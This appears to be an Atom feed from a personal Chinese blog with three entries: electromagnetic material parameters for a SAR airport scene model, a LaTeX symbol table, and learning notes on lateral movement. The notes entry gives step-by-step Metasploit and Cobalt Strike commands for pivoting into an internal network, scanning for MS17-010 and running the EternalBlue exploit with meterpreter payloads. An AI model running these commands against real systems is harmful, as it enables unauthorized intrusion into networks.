<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <id>https://blog.haihengyang.com/</id>
  <title type="text">场域 FIELD</title>
  <subtitle type="text">Design in resonance.</subtitle>
  <updated>2026-09-29T00:00:00.000Z</updated>
  <author><name>YANGHAIHENG</name></author>
  <link rel="alternate" href="https://blog.haihengyang.com/"/>
  <link rel="self" href="https://blog.haihengyang.com/atom.xml"/>
  <generator uri="https://github.com/CuteLeaf/Firefly">Firefly v6.16.8</generator>
    <entry>
      <id>https://blog.haihengyang.com/posts/paper/airport-electromagnetic-parameters/</id>
      <title type="text">机场场景模型电磁参数参考</title>
      <published>2026-09-29T00:00:00.000Z</published>
      <updated>2026-09-29T00:00:00.000Z</updated>
      <author><name>YANGHAIHENG</name></author>
      <link rel="alternate" href="https://blog.haihengyang.com/posts/paper/airport-electromagnetic-parameters/"/>
      <summary type="text">机场场景中跑道、油罐、机库等目标的等效材料定义、电磁参数及参考来源。</summary>
      <content type="html"><![CDATA[<section><h2><strong>约定</strong><a href="#约定"><span>#</span></a></h2><span><span><span>εr=εr′−jεr′′\varepsilon_r = \varepsilon'_r - j\varepsilon''_r</span><span><span><span></span><span><span>ε</span><span><span><span><span><span><span></span><span><span>r</span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>ε</span><span><span><span><span><span><span></span><span><span>r</span></span></span><span><span></span><span><span><span>′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>−</span><span></span></span><span><span></span><span>j</span><span><span>ε</span><span><span><span><span><span><span></span><span><span>r</span></span></span><span><span></span><span><span><span>′′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></span></span><span><span><span>εr′′=εr′tan⁡δ\varepsilon''_r = \varepsilon'_r \tan\delta</span><span><span><span></span><span><span>ε</span><span><span><span><span><span><span></span><span><span>r</span></span></span><span><span></span><span><span><span>′′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>=</span><span></span></span><span><span></span><span><span>ε</span><span><span><span><span><span><span></span><span><span>r</span></span></span><span><span></span><span><span><span>′</span></span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span><span></span><span>tan</span><span></span><span>δ</span></span></span></span></span></section>
<section><h2><strong>等效材料定义</strong><a href="#等效材料定义"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th></tr></thead><tbody><tr><td><strong>目标类型</strong></td><td>编码ID</td><td>等效材料</td></tr><tr><td>跑道</td><td><code>RUNWAY_PAVEMENT_EQ</code></td><td>沥青/混凝土铺装等效介质</td></tr><tr><td>油罐</td><td><code>OIL_TANK_STEEL_EQ</code></td><td>焊接钢制储罐等效金属</td></tr><tr><td>机库</td><td><code>HANGAR_METAL_EQ</code></td><td>金属屋面/钢结构主导等效金属</td></tr><tr><td>门楼</td><td><code>GATEHOUSE_CONCRETE_EQ</code></td><td>钢筋混凝土/砌体建筑等效介质</td></tr><tr><td>战斗机</td><td><code>FIGHTER_AIRFRAME_EQ</code></td><td>铝合金/金属机体等效导体</td></tr></tbody></table></section>
<section><h2>参数表<a href="#参数表"><span>#</span></a></h2><div><table><colgroup><col /><col /><col /><col /><col /><col /><col /><col /><col /><col /><col /></colgroup><tbody><tr><th><p><strong>material_id</strong></p></th><th><p><strong>对应目标</strong></p></th><th><p><strong>ε′</strong></p></th><th><p><strong>tanδ</strong></p></th><th><p><strong>ε″=ε′tanδ</strong></p></th><th><p><strong>σ_eff @10 GHz</strong></p></th><th><p><strong>μr</strong></p></th><th><p><strong>PEC</strong></p></th><th><p><strong>RMS 粗糙度 s</strong></p></th><th><p><strong>相关长度 l</strong></p></th><th><p><strong>参数来源</strong></p></th></tr><tr><td><p><code>RUNWAY_PAVEMENT_EQ</code></p></td><td><p>跑道</p></td><td><p>4.0</p></td><td><p>0.03</p></td><td><p>0.12</p></td><td><p>0.067 S/m</p></td><td><p>1</p></td><td><p>否</p></td><td><p>0.003 m</p></td><td><p>0.15 m</p></td><td><p>沥青铺装介电常数由沥青、骨料、空隙率和含水率共同决定；TRB/NCHRP 报告给出沥青胶结料约 2.6–2.8、骨料约 4.5–6.5，ASCE 研究覆盖 100 Hz–12 GHz 并指出频率和温度影响明显。粗糙度参数采用 SAR 粗糙面建模的 RMS 高度与相关长度定义。</p><blockquote><p>[1] Sias J E, Dave E V. <em>Laboratory Dielectric Measurement System (LDMS) for Asphalt Mixture Bulk Specific Gravity Determination</em>: NCHRP IDEA Project 229[R]. Washington, DC: Transportation Research Board, 2023.</p></blockquote></td></tr><tr><td><p><code>OIL_TANK_STEEL_EQ</code></p></td><td><p>油罐</p></td><td><p>—</p></td><td><p>—</p></td><td><p>—</p></td><td><p>设 PEC，或 σ=1e6–1e7 S/m</p></td><td><p>1*</p></td><td><p>是</p></td><td><p>0.0005 m</p></td><td><p>0.02 m</p></td><td><p>API 650 是焊接钢制油罐标准；油罐第一版应按金属强散射体处理。钢材电导率随牌号变化，工程仿真可用10⁶–10⁷ S/m或 PEC；若只做成像散射强弱，PEC 更稳。</p><blockquote><p>[2] American Petroleum Institute. API Standard 650: 13th Edition[EB/OL]. 2020-03[2026-07-03]. https://www.api.org/products-and-services/standards/important-standards-announcements/standard650.</p></blockquote></td></tr><tr><td><p><code>HANGAR_METAL_EQ</code></p></td><td><p>机库</p></td><td><p>—</p></td><td><p>—</p></td><td><p>—</p></td><td><p>设 PEC，或 σ=1e6–1e7 S/m</p></td><td><p>1*</p></td><td><p>是</p></td><td><p>0.001 m</p></td><td><p>0.05 m</p></td><td><p>机库第一版按金属屋面、钢结构、大门主导处理；金属电导率可参考工程电导率表，SAR 中强散射主要由金属面、边缘和墙地二面角控制。粗糙度仍按 SAR 粗糙面参数形式保留。</p><blockquote><p>[3] Engineering ToolBox. Electrical conductivity - elements and other materials[EB/OL]. [2026-07-03]. https://www.engineeringtoolbox.com/conductors-d_1381.html.</p></blockquote></td></tr><tr><td><p><code>GATEHOUSE_CONCRETE_EQ</code></p></td><td><p>门楼</p></td><td><p>7.0</p></td><td><p>0.08</p></td><td><p>0.56</p></td><td><p>0.312 S/m</p></td><td><p>1</p></td><td><p>否</p></td><td><p>0.005 m</p></td><td><p>0.20 m</p></td><td><p>普通混凝土微波介电研究给出 ε′约 6.69–7.76、ε″约 0.31–1.09、tanδ约 0.04–0.15，且水灰比、砂率、含水状态会提高介电损耗；因此门楼等效混凝土取 ε′=7、tanδ=0.08 合理。</p><blockquote><p>[4] Liu J, Xu J, Lu S, Chen H. Investigation on dielectric properties and microwave heating efficiencies of various concrete pavements during microwave deicing[J]. <em>Construction and Building Materials</em>, 2019, 225: 55–66. DOI: 10.1016/j.conbuildmat.2019.07.249.</p></blockquote></td></tr><tr><td><p><code>FIGHTER_AIRFRAME_EQ</code></p></td><td><p>战斗机</p></td><td><p>—</p></td><td><p>—</p></td><td><p>—</p></td><td><p>设 PEC，或铝合金 σ≈1.5e7–3.5e7 S/m</p></td><td><p>1</p></td><td><p>是</p></td><td><p>0.0003 m</p></td><td><p>0.02 m</p></td><td><p>第一版不使用真实 RCS 或真实涂层参数，机体按铝合金/金属导体等效。铝及铝合金电导率表给出纯铝约3.538×10⁷ S/m，常见铝合金可降至1.5×10⁷–3.0×10⁷ S/m；航空结构中铝合金长期是重要材料。</p><blockquote><p>[5] NDE-Ed.org. Electrical conductivity and resistivity for aluminum and aluminum alloys[EB/OL]. [2026-07-03]. https://www.nde-ed.org/NDETechniques/EddyCurrent/ET_Tables/ET_matlprop_Aluminum.xhtml.</p></blockquote></td></tr></tbody></table></div><p>* 对金属目标，如果使用 PEC，<code>μr</code> 通常不参与计算；若求解器强制输入，可先填 1。对铁磁钢材，真实磁导率与频率、牌号和处理状态有关，但 SAR 高频表面散射初步验证时不建议引入磁性复杂度。</p><p>[1] Sias J E, Dave E V. <em>Laboratory Dielectric Measurement System (LDMS) for Asphalt Mixture Bulk Specific Gravity Determination</em>: NCHRP IDEA Project 229[R]. Washington, DC: Transportation Research Board, 2023.</p><p>[2] Liu J L, Xu J Y, Lu S, Chen H. Investigation on dielectric properties and microwave heating efficiencies of various concrete pavements during microwave deicing[J]. <em>Construction and Building Materials</em>, 2019, 225: 55–66. DOI: 10.1016/j.conbuildmat.2019.07.249.</p><p>[3] Engineering ToolBox. Electrical conductivity - elements and other materials[EB/OL]. [2026-07-03]. <a href="https://www.engineeringtoolbox.com/conductors-d%5C_1381.html" target="_blank">https://www.engineeringtoolbox.com/conductors-d\_1381.html</a>.</p><p>[4] Liu J, Xu J, Lu S, Chen H. Investigation on dielectric properties and microwave heating efficiencies of various concrete pavements during microwave deicing[J]. Construction and Building Materials, 2019, 225: 55–66. DOI: 10.1016/j.conbuildmat.2019.07.249.</p><p>[5] NDE-Ed.org. Electrical conductivity and resistivity for aluminum and aluminum alloys[EB/OL]. [2026-07-03]. <a href="https://www.nde-ed.org/NDETechniques/EddyCurrent/ET%5C_Tables/ET%5C_matlprop%5C_Aluminum.xhtml" target="_blank">https://www.nde-ed.org/NDETechniques/EddyCurrent/ET\_Tables/ET\_matlprop\_Aluminum.xhtml</a>.</p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.haihengyang.com/posts/paper/lateral-privilege-notes/</id>
      <title type="text">横向提权</title>
      <published>2026-09-29T00:00:00.000Z</published>
      <updated>2026-09-29T00:00:00.000Z</updated>
      <author><name>YANGHAIHENG</name></author>
      <link rel="alternate" href="https://blog.haihengyang.com/posts/paper/lateral-privilege-notes/"/>
      <summary type="text">关于横向移动、权限提升及相关漏洞的学习笔记。</summary>
      <content type="html"><![CDATA[<p><strong>iMessage的RCE（远程代码执行）漏洞</strong>：2017年发现的一些漏洞使攻击者能够通过特制的消息触发iOS设备的远程代码执行。这些漏洞可以在接收带有恶意内容的iMessage时让攻击者控制设备。</p>
<section><h1>CVE-2017-0146<a href="#cve-2017-0146"><span>#</span></a></h1><blockquote><p>CVE-2017-0146 是一项影响 Microsoft Windows 操作系统的远程代码执行漏洞，属于 MS17-010 安全更新的一部分。该漏洞源于 Windows 的 SMBv1（Server Message Block 1.0）协议处理特定请求的方式，攻击者可通过发送特制的数据包来远程执行恶意代码。</p></blockquote><ol>
<li>
<p>把Web服务器的会话转交给MSF（因为CS虽说可以利用插件进行MS17_010的检测，但是CS不支持漏洞的利用）。</p>
</li>
<li>
<p>CS先创建一个监听器，Host就是MSF服务器的地址。<br />
再回到MSF这边，因为CS设置的监听器是反向的，所以MSF的payload也要反向的。</p>
<p>use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 0.0.0.0
set lport 2222</p>
</li>
<li>
<p>再回到CS执行下面命令，即可把权限移交到MSF。</p>
<p>spawn msf //msf是监听器的名字</p>
</li>
<li>
<p>因为域内主机都是在内网中的，想用msf去扫描漏洞的话得添加路由，先查看路由发现为空。</p>
<p>run autoroute -p</p>
</li>
<li>
<p>添加当前路由表。</p>
<p>run post/multi/manage/autoroute</p>
</li>
<li>
<p>此时便可以利用MSF的漏洞检测模块去检测MS17_010漏洞。</p>
<p>use auxiliary/scanner/smb/smb_ms17_010</p>
</li>
<li>
<p>设置参数。</p>
<p>set rhosts 192.168.22.27-30 //设置扫描目标段
set threads 5 //设置扫描线程数
run</p>
</li>
<li>
<p>利用MSF的攻击模块。</p>
<p>use exploit/windows/smb/ms17_010_eternalblue</p>
</li>
<li>
<p>设置参数<br />
要设置正向连接（目标主机是不出网的。不出网反向连接目标主机找不到，那因为上面添加Web服务器充当路由，流量经过Web服务器再到目标主机。）</p>
<p>set payload windows/x64/meterpreter/bind_tcp //正向连接上线
set rhost 192.168.22.30 //设置连接目标</p>
</li>
</ol><p><strong>攻击成功！</strong></p></section>]]></content>
    </entry>
    <entry>
      <id>https://blog.haihengyang.com/posts/paper/latex-symbols/</id>
      <title type="text">LaTeX符号大全</title>
      <published>2026-09-29T00:00:00.000Z</published>
      <updated>2026-09-29T00:00:00.000Z</updated>
      <author><name>YANGHAIHENG</name></author>
      <link rel="alternate" href="https://blog.haihengyang.com/posts/paper/latex-symbols/"/>
      <summary type="text">LaTeX 运算符、数学符号及命令速查表。</summary>
      <content type="html"><![CDATA[<section><h1>Symbols<a href="#symbols"><span>#</span></a></h1><section><h2>Operators<a href="#operators"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>±\pm</span><span><span><span></span><span>±</span></span></span></span></td><td><code>\pm</code></td><td><span><span>∓\mp</span><span><span><span></span><span>∓</span></span></span></span></td><td><code>\mp</code></td><td><span><span>×\times</span><span><span><span></span><span>×</span></span></span></span></td><td><code>\times</code></td></tr><tr><td><span><span>÷\div</span><span><span><span></span><span>÷</span></span></span></span></td><td><code>\div</code></td><td><span><span>⋅\cdot</span><span><span><span></span><span>⋅</span></span></span></span></td><td><code>\cdot</code></td><td><span><span>∗\ast</span><span><span><span></span><span>∗</span></span></span></span></td><td><code>\ast</code></td></tr><tr><td><span><span>⋆\star</span><span><span><span></span><span>⋆</span></span></span></span></td><td><code>\star</code></td><td><span><span>†\dagger</span><span><span><span></span><span>†</span></span></span></span></td><td><code>\dagger</code></td><td><span><span>‡\ddagger</span><span><span><span></span><span>‡</span></span></span></span></td><td><code>\ddagger</code></td></tr><tr><td><span><span>⨿\amalg</span><span><span><span></span><span>⨿</span></span></span></span></td><td><code>\amalg</code></td><td><span><span>∩\cap</span><span><span><span></span><span>∩</span></span></span></span></td><td><code>\cap</code></td><td><span><span>∪\cup</span><span><span><span></span><span>∪</span></span></span></span></td><td><code>\cup</code></td></tr><tr><td><span><span>⊎\uplus</span><span><span><span></span><span>⊎</span></span></span></span></td><td><code>\uplus</code></td><td><span><span>⊓\sqcap</span><span><span><span></span><span>⊓</span></span></span></span></td><td><code>\sqcap</code></td><td><span><span>⊔\sqcup</span><span><span><span></span><span>⊔</span></span></span></span></td><td><code>\sqcup</code></td></tr><tr><td><span><span>∨\vee</span><span><span><span></span><span>∨</span></span></span></span></td><td><code>\vee</code></td><td><span><span>∧\wedge</span><span><span><span></span><span>∧</span></span></span></span></td><td><code>\wedge</code></td><td><span><span>⊕\oplus</span><span><span><span></span><span>⊕</span></span></span></span></td><td><code>\oplus</code></td></tr><tr><td><span><span>⊖\ominus</span><span><span><span></span><span>⊖</span></span></span></span></td><td><code>\ominus</code></td><td><span><span>⊗\otimes</span><span><span><span></span><span>⊗</span></span></span></span></td><td><code>\otimes</code></td><td><span><span>∘\circ</span><span><span><span></span><span>∘</span></span></span></span></td><td><code>\circ</code></td></tr><tr><td><span><span>∙\bullet</span><span><span><span></span><span>∙</span></span></span></span></td><td><code>\bullet</code></td><td><span><span>⋄\diamond</span><span><span><span></span><span>⋄</span></span></span></span></td><td><code>\diamond</code></td><td><span><span>⊲\lhd</span><span><span><span></span><span>⊲</span></span></span></span></td><td><code>\lhd</code></td></tr><tr><td><span><span>⊳\rhd</span><span><span><span></span><span>⊳</span></span></span></span></td><td><code>\rhd</code></td><td><span><span>⊴\unlhd</span><span><span><span></span><span>⊴</span></span></span></span></td><td><code>\unlhd</code></td><td><span><span>⊵\unrhd</span><span><span><span></span><span>⊵</span></span></span></span></td><td><code>\unrhd</code></td></tr><tr><td><span><span>⊘\oslash</span><span><span><span></span><span>⊘</span></span></span></span></td><td><code>\oslash</code></td><td><span><span>⊙\odot</span><span><span><span></span><span>⊙</span></span></span></span></td><td><code>\odot</code></td><td><span><span>◯\bigcirc</span><span><span><span></span><span>◯</span></span></span></span></td><td><code>\bigcirc</code></td></tr><tr><td><span><span>◃\triangleleft</span><span><span><span></span><span>◃</span></span></span></span></td><td><code>\triangleleft</code></td><td><span><span>◊\Diamond</span><span><span><span></span><span>◊</span></span></span></span></td><td><code>\Diamond</code></td><td><span><span>△\bigtriangleup</span><span><span><span></span><span>△</span></span></span></span></td><td><code>\bigtriangleup</code></td></tr><tr><td><span><span>▽\bigtriangledown</span><span><span><span></span><span>▽</span></span></span></span></td><td><code>\bigtriangledown</code></td><td><span><span>□\Box</span><span><span><span></span><span>□</span></span></span></span></td><td><code>\Box</code></td><td><span><span>▹\triangleright</span><span><span><span></span><span>▹</span></span></span></span></td><td><code>\triangleright</code></td></tr><tr><td><span><span>∖\setminus</span><span><span><span></span><span>∖</span></span></span></span></td><td><code>\setminus</code></td><td><span><span>≀\wr</span><span><span><span></span><span>≀</span></span></span></span></td><td><code>\wr</code></td><td><span><span>x\sqrt{x}</span><span><span><span></span><span><span><span><span><span><span></span><span><span>x</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\sqrt{x}</code></td></tr><tr><td><span><span>x∘x^{\circ}</span><span><span><span></span><span><span>x</span><span><span><span><span><span><span></span><span><span><span>∘</span></span></span></span></span></span></span></span></span></span></span></span></td><td><code>x^{\circ}</code></td><td><span><span>▽\triangledown</span><span><span><span></span><span>▽</span></span></span></span></td><td><code>\triangledown</code></td><td><span><span>xn\sqrt[n]{x}</span><span><span><span></span><span><span><span><span><span><span><span></span><span><span><span>n</span></span></span></span></span></span></span></span><span><span><span><span><span></span><span><span>x</span></span></span><span><span></span><span></span></span></span><span>​</span></span><span><span><span></span></span></span></span></span></span></span></span></td><td><code>\sqrt[n]{x}</code></td></tr><tr><td>a^x</td><td>a^x</td><td>a^{xyz}</td><td>a^{xyz}</td><td>a_x</td><td>a_x</td></tr></tbody></table></section><section><h2>Relations<a href="#relations"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>≤\le</span><span><span><span></span><span>≤</span></span></span></span></td><td><code>\le</code></td><td><span><span>≥\ge</span><span><span><span></span><span>≥</span></span></span></span></td><td><code>\ge</code></td><td><span><span>≠\neq</span><span><span><span></span><span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>=</span></span></span></span></span></td><td><code>\neq</code></td></tr><tr><td><span><span>∼\sim</span><span><span><span></span><span>∼</span></span></span></span></td><td><code>\sim</code></td><td><span><span>≪\ll</span><span><span><span></span><span>≪</span></span></span></span></td><td><code>\ll</code></td><td><span><span>≫\gg</span><span><span><span></span><span>≫</span></span></span></span></td><td><code>\gg</code></td></tr><tr><td><span><span>≐\doteq</span><span><span><span></span><span>≐</span></span></span></span></td><td><code>\doteq</code></td><td><span><span>≃\simeq</span><span><span><span></span><span>≃</span></span></span></span></td><td><code>\simeq</code></td><td><span><span>⊂\subset</span><span><span><span></span><span>⊂</span></span></span></span></td><td><code>\subset</code></td></tr><tr><td><span><span>⊃\supset</span><span><span><span></span><span>⊃</span></span></span></span></td><td><code>\supset</code></td><td><span><span>≈\approx</span><span><span><span></span><span>≈</span></span></span></span></td><td><code>\approx</code></td><td><span><span>≍\asymp</span><span><span><span></span><span>≍</span></span></span></span></td><td><code>\asymp</code></td></tr><tr><td><span><span>⊆\subseteq</span><span><span><span></span><span>⊆</span></span></span></span></td><td><code>\subseteq</code></td><td><span><span>⊇\supseteq</span><span><span><span></span><span>⊇</span></span></span></span></td><td><code>\supseteq</code></td><td><span><span>≅\cong</span><span><span><span></span><span>≅</span></span></span></span></td><td><code>\cong</code></td></tr><tr><td><span><span>⌣\smile</span><span><span><span></span><span>⌣</span></span></span></span></td><td><code>\smile</code></td><td><span><span>⊏\sqsubset</span><span><span><span></span><span>⊏</span></span></span></span></td><td><code>\sqsubset</code></td><td><span><span>⊐\sqsupset</span><span><span><span></span><span>⊐</span></span></span></span></td><td><code>\sqsupset</code></td></tr><tr><td><span><span>≡\equiv</span><span><span><span></span><span>≡</span></span></span></span></td><td><code>\equiv</code></td><td><span><span>⌢\frown</span><span><span><span></span><span>⌢</span></span></span></span></td><td><code>\frown</code></td><td><span><span>⊑\sqsubseteq</span><span><span><span></span><span>⊑</span></span></span></span></td><td><code>\sqsubseteq</code></td></tr><tr><td><span><span>⊒\sqsupseteq</span><span><span><span></span><span>⊒</span></span></span></span></td><td><code>\sqsupseteq</code></td><td><span><span>∝\propto</span><span><span><span></span><span>∝</span></span></span></span></td><td><code>\propto</code></td><td><span><span>⋈\bowtie</span><span><span><span></span><span>⋈</span></span></span></span></td><td><code>\bowtie</code></td></tr><tr><td><span><span>∈\in</span><span><span><span></span><span>∈</span></span></span></span></td><td><code>\in</code></td><td><span><span>∋\ni</span><span><span><span></span><span>∋</span></span></span></span></td><td><code>\ni</code></td><td><span><span>≺\prec</span><span><span><span></span><span>≺</span></span></span></span></td><td><code>\prec</code></td></tr><tr><td><span><span>≻\succ</span><span><span><span></span><span>≻</span></span></span></span></td><td><code>\succ</code></td><td><span><span>⊢\vdash</span><span><span><span></span><span>⊢</span></span></span></span></td><td><code>\vdash</code></td><td><span><span>⊣\dashv</span><span><span><span></span><span>⊣</span></span></span></span></td><td><code>\dashv</code></td></tr><tr><td><span><span>⪯\preceq</span><span><span><span></span><span>⪯</span></span></span></span></td><td><code>\preceq</code></td><td><span><span>⪰\succeq</span><span><span><span></span><span>⪰</span></span></span></span></td><td><code>\succeq</code></td><td><span><span>⊨\models</span><span><span><span></span><span>⊨</span></span></span></span></td><td><code>\models</code></td></tr><tr><td><span><span>⊥\perp</span><span><span><span></span><span>⊥</span></span></span></span></td><td><code>\perp</code></td><td><span><span>∥\parallel</span><span><span><span></span><span>∥</span></span></span></span></td><td><code>\parallel</code></td><td></td><td></td></tr><tr><td><span><span>∣\mid</span><span><span><span></span><span>∣</span></span></span></span></td><td><code>\mid</code></td><td><span><span>≏\bumpeq</span><span><span><span></span><span>≏</span></span></span></span></td><td><code>\bumpeq</code></td><td></td><td></td></tr></tbody></table><blockquote><p>许多此类关系符号的否定形式，可以通过直接在符号前加上 <code>\not</code>，或者在反斜杠 <code>\</code> 和命令词之间插入一个 “n” 来实现。这里列举了几个示例以及许多其他的否定形式；这种方法对其他许多符号也同样适用。</p></blockquote>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>∤\nmid</span><span><span><span></span><span>∤</span></span></span></span></td><td><code>\nmid</code></td><td><span><span>≰\nleq</span><span><span><span></span><span>≰</span></span></span></span></td><td><code>\nleq</code></td><td><span><span>≱\ngeq</span><span><span><span></span><span>≱</span></span></span></span></td><td><code>\ngeq</code></td></tr><tr><td><span><span>≁\nsim</span><span><span><span></span><span>≁</span></span></span></span></td><td><code>\nsim</code></td><td><span><span>≆\ncong</span><span><span><span></span><span>≆</span></span></span></span></td><td><code>\ncong</code></td><td><span><span>∦\nparallel</span><span><span><span></span><span>∦</span></span></span></span></td><td><code>\nparallel</code></td></tr><tr><td><span><span>&lt;̸\not&lt;</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>&lt;</span></span></span></span></td><td><code>\not&lt;</code></td><td><span><span>&gt;̸\not&gt;</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>&gt;</span></span></span></span></td><td><code>\not&gt;</code></td><td><span><span>≠\ne</span><span><span><span></span><span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>=</span></span></span></span></span></td><td><code>\not= or \neq or \ne</code></td></tr><tr><td><span><span>≰\not\le</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>≤</span></span></span></span></td><td><code>\not\le</code></td><td><span><span>≱\not\ge</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>≥</span></span></span></span></td><td><code>\not\ge</code></td><td><span><span>≁\not\sim</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>∼</span></span></span></span></td><td><code>\not\sim</code></td></tr><tr><td><span><span>≉\not\approx</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>≈</span></span></span></span></td><td><code>\not\approx</code></td><td><span><span>≇\not\cong</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>≅</span></span></span></span></td><td><code>\not\cong</code></td><td><span><span>≢\not\equiv</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>≡</span></span></span></span></td><td><code>\not\equiv</code></td></tr><tr><td><span><span>∦\not\parallel</span><span><span><span></span><span><span><span><span><span></span><span><span><span></span></span></span><span></span></span></span></span></span><span></span><span>∥</span></span></span></span></td><td><code>\not\parallel</code></td><td><span><span>≮\nless</span><span><span><span></span><span>≮</span></span></span></span></td><td><code>\nless</code></td><td><span><span>≯\ngtr</span><span><span><span></span><span>≯</span></span></span></span></td><td><code>\ngtr</code></td></tr><tr><td><span><span>⪇\lneq</span><span><span><span></span><span>⪇</span></span></span></span></td><td><code>\lneq</code></td><td><span><span>⪈\gneq</span><span><span><span></span><span>⪈</span></span></span></span></td><td><code>\gneq</code></td><td><span><span>⋦\lnsim</span><span><span><span></span><span>⋦</span></span></span></span></td><td><code>\lnsim</code></td></tr><tr><td><span><span>≨\lneqq</span><span><span><span></span><span>≨</span></span></span></span></td><td><code>\lneqq</code></td><td><span><span>≩\gneqq</span><span><span><span></span><span>≩</span></span></span></span></td><td><code>\gneqq</code></td><td></td><td></td></tr></tbody></table><p>若要在\LaTeX中使用此处未列出的其他关系符（如 =、&gt; 和 &lt;），你必须直接使用键盘上的符号，因为\LaTeX中并未提供这些符号的专用命令。</p></section><section><h2>Greek Letters<a href="#greek-letters"><span>#</span></a></h2>

<table><thead><tr><th></th><th></th><th></th><th></th><th></th><th></th><th></th><th></th></tr></thead><tbody><tr><td>Lowercase Letters</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></tr><tr><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td><td>Symbol</td><td>Command</td></tr><tr><td><span><span>α\alpha</span><span><span><span></span><span>α</span></span></span></span></td><td><code>\alpha</code></td><td><span><span>β\beta</span><span><span><span></span><span>β</span></span></span></span></td><td><code>\beta</code></td><td><span><span>γ\gamma</span><span><span><span></span><span>γ</span></span></span></span></td><td><code>\gamma</code></td><td><span><span>δ\delta</span><span><span><span></span><span>δ</span></span></span></span></td><td><code>\delta</code></td></tr><tr><td><span><span>ϵ\epsilon</span><span><span><span></span><span>ϵ</span></span></span></span></td><td><code>\epsilon</code></td><td><span><span>ε\varepsilon</span><span><span><span></span><span>ε</span></span></span></span></td><td><code>\varepsilon</code></td><td><span><span>ζ\zeta</span><span><span><span></span><span>ζ</span></span></span></span></td><td><code>\zeta</code></td><td><span><span>η\eta</span><span><span><span></span><span>η</span></span></span></span></td><td><code>\eta</code></td></tr><tr><td><span><span>θ\theta</span><span><span><span></span><span>θ</span></span></span></span></td><td><code>\theta</code></td><td><span><span>ϑ\vartheta</span><span><span><span></span><span>ϑ</span></span></span></span></td><td><code>\vartheta</code></td><td><span><span>ι\iota</span><span><span><span></span><span>ι</span></span></span></span></td><td><code>\iota</code></td><td><span><span>κ\kappa</span><span><span><span></span><span>κ</span></span></span></span></td><td><code>\kappa</code></td></tr><tr><td><span><span>λ\lambda</span><span><span><span></span><span>λ</span></span></span></span></td><td><code>\lambda</code></td><td><span><span>μ\mu</span><span><span><span></span><span>μ</span></span></span></span></td><td><code>\mu</code></td><td><span><span>ν\nu</span><span><span><span></span><span>ν</span></span></span></span></td><td><code>\nu</code></td><td><span><span>ξ\xi</span><span><span><span></span><span>ξ</span></span></span></span></td><td><code>\xi</code></td></tr><tr><td><span><span>π\pi</span><span><span><span></span><span>π</span></span></span></span></td><td><code>\pi</code></td><td><span><span>ϖ\varpi</span><span><span><span></span><span>ϖ</span></span></span></span></td><td><code>\varpi</code></td><td><span><span>ρ\rho</span><span><span><span></span><span>ρ</span></span></span></span></td><td><code>\rho</code></td><td><span><span>ϱ\varrho</span><span><span><span></span><span>ϱ</span></span></span></span></td><td><code>\varrho</code></td></tr><tr><td><span><span>σ\sigma</span><span><span><span></span><span>σ</span></span></span></span></td><td><code>\sigma</code></td><td><span><span>ς\varsigma</span><span><span><span></span><span>ς</span></span></span></span></td><td><code>\varsigma</code></td><td><span><span>τ\tau</span><span><span><span></span><span>τ</span></span></span></span></td><td><code>\tau</code></td><td><span><span>υ\upsilon</span><span><span><span></span><span>υ</span></span></span></span></td><td><code>\upsilon</code></td></tr><tr><td><span><span>ϕ\phi</span><span><span><span></span><span>ϕ</span></span></span></span></td><td><code>\phi</code></td><td><span><span>φ\varphi</span><span><span><span></span><span>φ</span></span></span></span></td><td><code>\varphi</code></td><td><span><span>χ\chi</span><span><span><span></span><span>χ</span></span></span></span></td><td><code>\chi</code></td><td><span><span>ψ\psi</span><span><span><span></span><span>ψ</span></span></span></span></td><td><code>\psi</code></td></tr><tr><td><span><span>ω\omega</span><span><span><span></span><span>ω</span></span></span></span></td><td><code>\omega</code></td><td></td><td></td><td></td><td></td><td></td><td></td></tr></tbody></table>

